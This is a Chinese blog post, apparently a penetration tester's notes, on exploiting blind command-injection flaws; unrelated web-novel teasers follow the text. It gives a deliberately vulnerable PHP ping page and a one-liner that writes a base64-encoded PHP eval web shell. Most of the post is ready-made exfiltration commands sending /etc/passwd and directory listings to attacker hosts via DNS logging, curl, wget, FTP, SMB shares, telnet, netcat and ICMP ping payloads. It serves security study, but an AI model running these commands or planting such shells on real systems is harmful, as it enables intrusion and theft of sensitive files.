命令执行漏洞利用小结

前言:


还是那一次实习电话面,问到了这样一个问题:
面试官:在已经确定了命令执行漏洞的情况下,如果没有回显,如何进行利用?

我:利用dnslog确认漏洞+反弹shell到VPS上

面试官:那么如果目标机器不出网呢?

我:(当时煞笔了,啥也想不起来)

结局:
面试卒……

漏洞认识


漏洞原理:

目标应用把用户的输入当做系统命令或者系统命令的一部分去执行,且应用没有正确的验证、过滤用户的输入,从而导致命令执行漏洞。

常见漏洞存在点:

1、使用用户提供的邮箱地址发送邮件的应用程序
2、服务器监控类型的应用,他们会返回系统的健康状况,这些健康状况都是通过执行系统命令取得的
3、使用第三方软件根据用户提供的输入实时生成报告的应用程序

漏洞利用:


命令连接常用技巧:

若系统只允许执行特定的函数时,比如只允许执行Ping命令,可通过拼接符绕过:

Windows:
&:前面语句为假时直接执行后面的命令
&&:前面的语句为假时直接出错,后面的命令不执行
|:直接执行后面的语句
||:前面出错执行后面的语句

Linux:
;:前面的执行完执行后面的
&:无论前面的语句真假都会执行
&&:只有前面为真时才执行后面
|:显示后面的执行结果
||:当前面的执行错误时执行后面的

其它补充:

有回显的情况下:

1、获取系统的敏感信息

# windows:
type c:\windows\win.ini

# Linux:
cat /etc/passwd

这是最完美的情况下

但是在实际渗透中,很多往往不会直接回显,这种时候我们就需要利用各种带外通信技巧

漏洞环境:
<?php
if( isset( $_GET[ 'submit' ]  ) ) {
    $target = $_REQUEST[ 'ip' ];
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    echo "<pre>{$cmd}</pre>";
}
else{
echo "no input";
}
?>

补充:

若服务器开放了web服务,可以将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
若不知道服务器绝对路径的话,通过寻找偏僻名字的js或jpg等文件,然后通过寻找这个文件的路径,将命令执行的结果写入到这个路径里面

管道符:

在有写入权限的情况下,直接利用漏洞写入一句话:

echo PD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg== | base64 -d > shell.php

Dnslog:

原理:反撇号种的命令会自动执行并返回命令执行的结果拼接到命令里,Linux里要加上-c参数指定次数

ping -c 1 `whoami`.sp328y.dnslog.cn
NetCat:

如果目标系统有安装netcat,可以直接利用netcat将操作系统的标准输出重定向到netcat监听的端口:

nc -lp 9999 < /etc/passwd

如果目标系统为Windows,利用以下命令:

type c:\windows\win.ini  | nc -lp 9999
curl:

curl是用于使用各种协议传输数据的库和命令行工具,并且是用于数据渗透的非常有用的工具。如果易受攻击的服务器具有curl,我们可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件

  • 用http请求的方式携带数据:
curl nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/`whoami`

注意:这里如果要使用ls命令查看当前目录文件,会发现只有一个请求,也就是说只能查看到1个文件或者目录

经过查资料后,发现如空格、!、$、&、?等特殊字符,是无法通过DNSlog将数据携带出来。所有我们要让内容先进行base64编码,然后在进行输出

curl nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/`ls|base64`

但是这种方法有一个缺陷:
DNS每一级域名长度的限制是63个字符,如果文件内容过多,导致生成的base64太长,域名无法全部携带出来

这里我们可以通过一个For循环,将每个文件逐条输出:

for i in $(ls);do curl "http://nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/$i";done

这里我们也可以选择在自己的VPS上开放Web服务,用于获取数据:

当然这里还可以再完善一点,可以自己写个脚本,然后使用正则将其内容全部提取出来

  • 使用以下命令将文件的内容发送到我们的web服务器:
cat /etc/passwd | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/ceshi.txt
  • 通过FTP传输文件:
curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user :{password}

wget:


wget主要用于从web上非交互式地下载文件,但是,它同样可以用来外带数据

利用原理:wget支持自定义请求头,把敏感数据放入请求头里带出来

wget --header="book4yi:`cat /etc/passwd | xargs echo -n`" http://x.x.x.x:x

除此之外,wget可以利用--post-data选项用来提交body,--post-file用来上传文件

wget --post-file=/etc/passwd  http://x.x.x.x:x
SMB:

如果漏洞服务器是windows系统,我们可以使用网络共享功能读取文件

利用原理:让漏洞服务器连接到我们自己开设的共享上,然后向我们的共享文件夹复制文件

打开本机网络共享:

选择需要开放的共享文件夹或者磁盘:

向我们的共享文件夹复制文件:

net use e: \\Sws-win10\e /user:tester_sws && copy d:\1.txt e:\book4yi.txt
TELNET:

telnet x.x.x.x {port} < /etc/passwd
ICMP:

如果目标系统是linux,我们可以使用ICMP协议的echo requests外带数据,在linux下,可以用ping命令的-p选项实现

但是-p选项外带的数据最多只能16字节,这时可以利用xxd命令,不过这个命令在一些系统里是没有默认安装的

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 x.x.x.x; done

使用wireshark抓包查看:

在vps上使用tcpdump进行监听:

可以是可以,就是些许麻烦。

DNS:

详情参考:哈?命令注入外带数据的姿势还可以这么骚?

感谢表哥们的无私分享!

参考如下:


哈?命令注入外带数据的姿势还可以这么骚?
从无回显命令执行到getshell的渗透测试
fastjson 不出网利用总结

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,172评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,346评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,788评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,299评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,409评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,467评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,476评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,262评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,699评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,994评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,167评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,499评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,149评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,387评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,028评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,055评论 2 352